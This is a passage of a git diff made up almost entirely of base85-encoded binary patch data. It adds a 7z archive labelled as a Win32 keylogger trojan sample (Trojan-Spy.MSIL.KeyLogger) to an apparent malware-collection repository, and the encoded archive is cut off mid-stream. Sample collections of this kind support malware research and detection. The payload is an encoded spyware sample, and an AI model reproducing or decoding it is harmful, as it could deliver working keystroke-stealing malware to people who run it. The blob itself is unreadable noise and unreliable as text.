zQB;-KFJAHi~uIOtE#YZRm7SjctaWu(`%0 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 Cc5%@F literal 0 HcmV?d00001 diff --git a/Win32/Malware Families/Generic.Win32.Keylogger/Trojan-Spy.MSIL.KeyLogger.cuw-89.7z b/Win32/Malware Families/Generic.Win32.Keylogger/Trojan-Spy.MSIL.KeyLogger.cuw-89.7z new file mode 100644 index 0000000000000000000000000000000000000000..5dae43ed84e5a4886c8e21acf1b677cbb56e45bb GIT binary patch literal 18047 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 